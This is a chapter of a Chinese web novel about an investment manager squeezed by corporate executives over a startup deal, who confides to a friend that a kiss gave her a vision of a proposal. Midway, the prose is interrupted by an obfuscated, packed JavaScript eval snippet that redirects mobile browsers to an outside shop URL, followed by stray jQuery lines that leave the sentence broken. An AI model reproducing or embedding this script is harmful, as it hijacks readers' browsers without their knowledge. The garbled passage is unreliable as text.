周五上午十点整,小会议室里的空气沉得能拧出水来。
许予薇特意穿了一身灰蓝色的利落西装,长发低低束在脑后,可后背却早已沁出了一层薄汗。她站在投影幕布前,指尖轻轻按着翻页笔,掌心发凉。
幕布上那行字刺眼得很——《灵犀项目后续跟投与生态协同建议》。
她只是个高级投资经理,今天坐在这张长桌旁的,却是星海集团手握生杀大权的两位副总裁级大领导。
左手边坐着秦正川,市场部一把手,集团所有的企业客户、政府渠道和销售命脉全握在他一个人手里,眼窝深邃,鬓角微霜,进门时连正眼都没瞧她,直接把那台磨砂黑的手机“啪嗒”一声甩在桌上,浑身上下都透着不好惹的威压。
主位上坐着陈屿,战投部总经理,也是许予薇的顶头上司。他身形清瘦,面无表情地点了点座位前的材料,却没翻开,只吐出两个字:
“开始吧。”
会议室另一侧还坐着研发团队的老大,穿着一件洗得发软的深灰T恤,缩在椅子里抱臂看着屏幕。
许予薇下意识咽了咽干涩的喉咙,脊背挺得笔直,微微欠身,语气放得低且谦卑:“各位领导,我先就昨天同灵犀、启衡两家最终沟通的情况,向大家做个汇报。”
她点开第一页,声音放稳,掩盖掉心底的打鼓:
“昨天灵犀已经和启衡正式签了领投意向书,没有回旋的余地了。我们之前准备的那套由星海主导领投并获取董事席位的方案,确实没办法落地。创业团队选择启衡,核心顾虑还是怕过早被我们星海这样的大集团深度捆绑,影响他们后续把产品卖给外部其他企业;但CEO宋言也当面明确表态了,前期星海搭起来的合作他们绝对不想停,如果星海愿意退一步跟投,他们非常欢迎我们继续入场。”
她飞快切到已上线的系统测试页,语气诚恳得甚至带了点商量的口吻:
“从投资角度看,我还是建议集团保留这个跟投的进场机会。灵犀在现在最火的AI办公赛道里,口碑可以说是数一数二的,产品也是真的好用。前期我们推荐过去的几家测试客户已经完全跑通了,集团研发这边也顺畅接过了接口……”
坐在对面的研发老大适时点了点头,摸着下巴替她帮腔:
“这点我能作证。我们研发确实跟灵犀对接了底层接口,他们的系统做得确实顺手,响应特别灵敏,有时候我们在客户现场遇到的怪问题,他们派俩工程师过来,半天就给调顺了。”
许予薇心头微微一松,正准备借着这股势头往下讲,长桌对面却突然传来一声冷淡的嗤笑。
秦正川指腹按着手边的客户名单,掀起眼皮,目光锐利得像刀子一样扎在她脸上:
“产品好用,我没意见。但我请问许经理,前期市场部把自己的金牌客户介绍过去,集团给他们批算力、批服务器,研发还专门派了技术骨干陪跑接接口。现在倒好,领投让外面的启衡抢了,董事会席位也归了人家,我们星海还要眼巴巴地跟在屁股后头跟投,继续给他们喂算力、喂资源?这算不算倒贴?前期搭进去的那些算力和客户资源,不就全打水漂浪费了么?”
一连串质问砸下来,会议室的空气仿佛瞬间冷了三度。
面对副总裁级别的正面施压,许予薇掌心全是细汗,但她知道自己退一步就是万丈深渊。
她放低身段,微微颔首,言辞却极其清晰:
“秦总,您批评得对,前期资源确实是集团实打实给的。但灵犀拿了咱们的算力和服务器,也是第一时间用来服务我们研发团队,以及市场部推荐过去的那几家核心客户。前几次客户那边紧急要看系统演示,灵犀的团队连半毛钱加班费都没提,通宵赶过去帮咱们把接口调通、把面子撑住;签下来的那些单子,干脏活累活的是灵犀,可客户嘴里夸的、记在心里的,全是咱们星海的大厂招牌……”
“什么叫‘我们的客户’?”
秦正川猛地把名单往桌上一摔,发出一声脆响,声调沉得骇人:“合同签了没给他们结账吗?说得跟灵犀一直替星海白打工一样!”
许予薇禁张地咬住了下唇。
钱是给了,可给的那点钱,在市场上连买几个高级算法工程师的工时都不够!每次灵犀的项目经理去对接星海导流过去的客户,低声下气得跟个孙子似的,鞍前马后随叫随到,客户那边所有的好感和人情全被星海赚得干干净净,灵犀充其量就是个拿微薄辛苦钱干脏活、还受尽窝囊气的纯打工人!
这番话在许予薇胸口翻江倒海,可到了嘴边,她只能硬生生压下去,换成最谦逊顺从的语气:
“秦总,您说得是,商务付款肯定是合规的。只是市场部导流过去的那些客户,宋言昨晚也跟我推心置腹地说了,他心里一直记着咱们星海的情分,更希望星海这一次能以跟投的身份进场,大家背靠背继续往下做。”
秦正川靠回椅背,冷笑一声,眼底满是老江湖的精明与凉薄:
“既要给技术支持,又要送客户资源,临了还要掏真金白银去跟投,结果连个董事会席位都不一定捞得到。一个我们说了根本不算、管都管不了的初创公司,市场部凭什么还要陪着它耗下去?”
“秦总,灵犀前期真的免费帮我们做了不少非标开发,也帮我们兜底了不少挑剔难缠的客户。”
许予薇急得心头发紧,下意识转头看向研发老大,希望能有人替一线创业团队说句公道话。
谁料刚才还夸得起劲的研发负责人,一接收到秦正川那威压十足的视线,立刻低下了头,两只手在笔记本键盘上噼里啪啦一通狂敲,双眼死死盯着屏幕,仿佛瞬间收到了什么关乎公司生死的特急邮件,当场上演了一出炉火纯青的战术性装忙。
许予薇心头一凉,指甲深深陷进了手心。
大厂的职场就是这样现实,没人愿意为了一个外人去得罪掌握实权的业务大老板。
“行了。”
一直没作声的陈屿终于开了口。
他摘下眼镜,拿起绒布慢条斯理地擦了擦镜片,语气平静得听不出波澜:
“董事会席位还能争取。启衡这波拿领投,看中的是灵犀往后能做成通用的标准化大产品,绝不会允许我们星海在合同里签那种大而无当的广泛排他协议;至于这个排他的口子究竟收多宽,还可以谈。但有一条——之前按领投标准口头答应给出去的算力和专属资源,全部回收。”
许予薇心口跳得剧烈,小心翼翼地试探着问了一句:
“陈总,如果要争董事会席位,集团这次心里预期的出资上限是多少?我也好心里有个底线去谈。”
陈屿重新戴上眼镜,浓眉下的双眸沉静如水,轻飘飘吐出几个字:
“最多六千万。”
六千万!
许予薇浑身的血液仿佛在这一瞬间凉了半截。
最开始立项筹划领投的时候,战投部估的是两个亿;昨天失去领投后,她私底下算着哪怕腰斩对折,好歹也有一亿左右去争抢席位;她万万没想到,陈屿一开口,直接把预算砍掉了快四分之三!
“陈总,六千万……恐怕太吃紧了。”许予薇按捺着嗓音里的微颤,据理力争,“灵犀现在在AI办公这个赛道上火得烫手,几乎所有的头部基金都在盯着他们的标准化产品。真等他们把升级版产品做出来,估值只会比现在更高,后面拿着钞票排队想进场的资方多得是!我们出这么点钱,还要拿董事会席位,他们未必愿意让咱们入场啊……”
陈屿掀起眼皮看着她,上位者的眼神居高临下,带着一种近乎冷血的理性:
“所以才需要你去谈。”
他修长的手指在红木桌面上轻叩了两下:
“AI办公这两年确实火,企业一茬接一茬地往外冒。他们现在做得好,不代表永远做得好。真要是哪一天他们在市场上跑不出来了,靠着星海这条产业链和客户生态,至少饿不死。”
许予薇站在刺眼的白光下,只觉得一股说不出的酸涩直冲鼻梁。
创业者拼了命想要在巨头林立的赛道里站直腰杆、做自己的独立品牌;可在高高在上的集团大领导眼里,人家却只配靠着大厂施舍的残羹冷饭、求一个“饿不死”!
但她是个打工人,她没有资格替创业公司委屈。
许予薇咽下所有的苦涩,深深垂下头:“好的陈总,我去谈。”
秦正川见敲打得差不多了,慢悠悠将手里一份厚厚的文件往前一推,趁机施压:
“去谈的时候,把这几个客户也一起带过去。像中科那个下属研究院,还有华南那几家大型制造企业,都在找办公系统升级,这几个单子底子都不错。”
刚才还在战术敲键盘的研发老大闻言,立刻像活过来一样猛抬头,眉开眼笑地连连附和:
“对对对!秦总这建议太好了!把之前咱们研发排不过来、做不了的那几家旧系统重构,全外包给灵犀!”
他说着,还忍不住低声咕哝了一句:“正愁手里一堆杂活没人干呢。”
许予薇只觉得呼吸都滞了滞。
她看着那份密密麻麻全是定制开发和历史脏活的名单,忍不住哑着嗓子问了一句:
“秦总,那这几家客户要是接了,合同是直接跟灵犀签,还是跟我们星海签?”
秦正川像看傻子一样看了她一眼,理所当然地开口:
“当然和我们签。客户是市场部的,由星海统筹。”
许予薇心底彻底无语了。
合同和利润留给星海,难啃的骨头和脏活累活全甩给灵犀,这哪是战略协同?这分明是真把人家当成星海产业链上的廉价打工仔了!
可在这间屋子里,她的异议一文不值。
“好,我先拿回去核算工作量,再去跟灵犀谈。”
——————————————————————————————————
走出会议室,关上沉重的隔音玻璃门,走廊上嘈杂的打印机声和交谈声迎面涌来。
许予薇这才发现,自己里面的衬衫后背早已湿透了,被空调冷风一吹,冷得刺骨。
她抱着笔记本快步走回工位,刚把那份沉甸甸的客户名单压在键盘底下,部门的行政助理余可馨就抱着一摞花花绿绿的表格蹦蹦跳跳地走了过来。
“予薇姐!”
余可馨顶着一张圆圆的娃娃脸,笑起来眼睛弯成了月牙,把一张意向表轻轻放在她手边:
“人事那边催得急,让今天下班前必须交下个月集团晋升答辩的意向表。您今年要冲投资总监的答辩,快把名字签上吧!”
许予薇扫了一眼表格,压下胸腔里翻涌的酸胀,将那张表格轻轻推了回去:
“可馨,我这次……先不参加了。”
余可馨愣住了,圆圆的眼睛里满是错愕:“啊?予薇姐,您准备了那么久……”
“项目周期赶不上,材料不合适。”许予薇扯出一个极其勉强的微笑,“人事要是问起来,就说我手上这个案子还在关键谈判期,腾不出时间答辩。”
余可馨看着她略显苍白的脸色,没再多问,乖巧地把表格收好:“好吧……那予薇姐你千万别忘了吃午饭呀,今天食堂有你最喜欢的糖醋排骨呢。”
小助理刚走,隔壁工位的高挑身影就凑了过来。
刚转正的年轻投资经理莫嘉凯怀里抱着电脑,深褐色的碎发微微凌乱,一身清爽干净的白衬衫,阳光俊朗的脸上写满了关切与崇拜。
他小心翼翼地把转椅滑过来,压低声音问:
“予薇姐,刚才在大佬会上……开得怎么样?我听见秦总嗓门挺大的。”
许予薇揉了揉生疼的太阳穴,将那份外包名单和六千万的批复推到他面前:
“还能怎么样。领投彻底变成跟投,出资最多六千万,还要争董事会席位;顺便,市场部和研发还想往里硬塞几家我们搞不定的旧系统客户。”
莫嘉凯随手翻了两页,那双清亮的眼睛瞪得溜圆,忍不住小声惊呼:
“靠,这不纯纯把灵犀当成咱们的外包施工队了吗?!人家在一级市场正火呢,咱们这边六千万还想要董事席位,楚既明和启衡能答应才怪呢!灵犀自己也不会认啊!”
看着直抒胸臆的莫嘉凯,许予薇被他的模样逗得极轻地笑了一下,紧绷了一上午的心弦总算稍稍松缓了几分:
“行了,别跟着瞎吐槽了。在职场上,领导给的是考题,我们负责找解法。赶紧想想怎么给灵犀发邮件吧。”
莫嘉凯利落地敬了个礼:“Yes!Madam!”
————————————————————————————————
许予薇正核对着会议纪要内容,身后忽然传来一阵高跟鞋清脆的声响,伴随着一股熟悉的冷冽花香
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965509|214490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“许大经理,都十二点半了,你不吃饭,是打算在工位上修仙吗?”
林妍穿着一身浅杏色针织长裙,栗色卷发松松垮垮搭在肩头,手里晃着小巧的链条包,笑意盈盈地斜倚在屏风旁。
莫嘉凯一见是外来的漂亮姐姐,连忙红着脸站起身,极有教养地从旁边拉过一把干净的转椅,轻手轻脚推到林妍身旁,自己抱着电脑退到一边:“您坐。”
“谢谢。”林妍挑眉打量了他一圈,眼底满是惊艳,随即冲许予薇挤眉弄眼。
许予薇保存完最后一版文档,站起身拍了拍莫嘉凯的肩膀:“嘉凯,你先去吃饭,吃饱了再弄吧。”
“好嘞!”
许予薇带着闺蜜来到了楼下经常光顾的咖啡厅。
浓郁的烘焙咖啡香混着烤肉桂面包的温热甜气,总算驱散了许予薇浑身的压力。
林妍刚用叉子卷起一口沙拉,就迫不及待地八卦起来:
“刚才那个年轻弟弟绝了啊,长得又高又帅,看着干净又阳光,从哪挖来的?”
“新招的应届生,哥大毕业的,正经做投资分析。”许予薇抿了口微苦的澳白,“脑子活,执行力强,带着省心。”
“我夸的是脸和身材,你跟我汇报HR招聘KPI呢?”林妍翻了个白眼,随后收起调侃,身子往前凑了凑,“行了,说正经的。前天晚上在酒吧,你让我先走,自己一个人喝完大半夜才报平安,昨天又在微信里对我爱答不理的……到底发生什么事了?”
许予薇搅动咖啡的银勺猛地顿住了。
窗外的秋日阳光有些晃眼,她垂下眼睫,声音压得极低:
“你还记得我说抢我项目的那家投资基金公司吧?”
“记得啊,启衡嘛。”
“前天我们在酒吧里看到的那人,就是启衡的创始合伙人,楚既明。”
林妍手里的银叉“当啷”一声重重磕在瓷盘边缘!
“楚既明?!就是那个抢了你四个月心血,还满嘴花言巧语忽悠创业团队的人?!”
“对。”许予薇闭了闭眼,嘴里泛起一丝荒唐的苦意,“我那天晚上,离开酒吧后去了他的房间……”
林妍了然地发出了惊呼声。
“……这不是重点。重点是,第二天上午在灵犀的谈判桌上,他就坐到了我对面,我都快无语死了,他居然还一脸淡定。”
林妍倒吸了一口凉气,整个人瘫在卡座靠背上,缓了半天才消化掉这个惊天大瓜:
“我的天……睡了死对头,第二天还要并排坐着谈项目?这到底是什么狗血展开?!”
“这也不是最重点的部分。”许予薇狠狠地戳着盘子里的沙拉,“妍妍,他那天晚上……还在酒店里吻了我。”
林妍的脸色骤然变了,神情紧张起来:“接吻了?!你没事吧?当时晕得厉害吗?”顿了顿,又换上八卦的好奇眼神:“你看见什么了?”
林妍从大学时就陪在许予薇身边,见证过她的恋爱史,当过她的幕僚,更知道她有能预见未来的超能力。
许予薇唇角牵起一抹近乎自嘲的笑,“求婚……我看到求婚了。”
“谁?楚既明吗?”
“嗯。”
林妍啧了一声,恨恨骂道:“X,那他太渣了,才和你睡完,转头就向女朋友求婚。”
“……我看到的预知画面里,他求婚的对象是我。”
“!”林妍捂住嘴,做出了一个标准的惊讶表情。震惊之余,她也实在想不出该用什么表情回应闺蜜这段神奇的遭遇。
“十月十六号,我看到了闪烁的彩灯,他单膝跪在地上,手里举着打开的戒指盒……而我就站在他对面,哭得一塌糊涂。”
咖啡馆里流淌着低缓的蓝调爵士乐。
林妍整个人像被雷劈了一样,嘴巴微张,足足愣了半分钟,才找回自己的声音:
“真的是……向你求婚啊?单膝下跪那种?那你……答应没?”
“画面碎得太快,没看清后续。但我这两天认真想了想,会哭成那个软弱无能的样子……我多半是没骨气地应下了吧。”
林妍看着她,突然没心没肺地噗嗤一声笑了出来:
“那我倒还真有点期待了!你现在和他根本不熟,还恨他恨得牙痒痒,短短一个月,这位楚先生到底是怎么用美色和金钱把你给拿下的!”
许予薇却没有笑。
她只是静静看着杯子里旋转的咖啡漩涡,眼底泛着打工人最深沉的无力感。
林妍脸上的笑容渐渐僵住,意识到自己说错了话,小心翼翼地把手覆在她手背上:“予薇……对不起啊,我是不是说得太幸灾乐祸了?”
“妍妍,我是真的害怕……”许予薇把头埋得更低了:“以前每次接吻,看到的都是对方近期最重要、最避不开的未来,看完我就得在那天到来前提心吊胆地熬,生怕事情失控。现在更绝,看到的那个未来里,居然出现了我自己。”
她抬起头,自嘲地笑道:
“我连明天下班吃什么、下周能不能在秦正川和陈屿手里活下来都拿不准,却已经提前知道三十天后我可能要订婚了!一个基本算陌生人的男人的未来里,居然有我……这件事,比我今天丢了项目、丢了晋升机会,可怕一千倍。”
林妍叹了口气,在她手背上再次拍了拍,“要不……你先别多想了。求婚是十月十六号的事,你先不主动联系他,见到他也公事公办,绝不给他接近你的机会!走一步看一步呢?”
许予薇深吸一口气,端起咖啡仰头喝尽。
冰凉的苦涩滑过喉咙,把心底所有的不安强行压了下去。
手机在桌面上突兀地震动了一声。
屏幕亮起,是灵犀CEO宋言发来的微信消息:
【许经理,邮件已收到。下周一上午十点,方便过来聊一聊跟投的详细方案吗?。】
许予薇指尖在冰冷的屏幕上轻点,回了一个字:
【好。】
很快,手机又震了一下,还是宋言发来的。
【楚总也过来,方便大家一起聊吗?】
许予薇眉头深深地皱了起来,纠结再三,还是回了一句:【还是分开谈吧。】
她实在不擅长拒绝人,但幸好过了一会儿,宋言就回了她消息,【好的,那我和他另约时间】
许予薇这才长长地舒了一口气。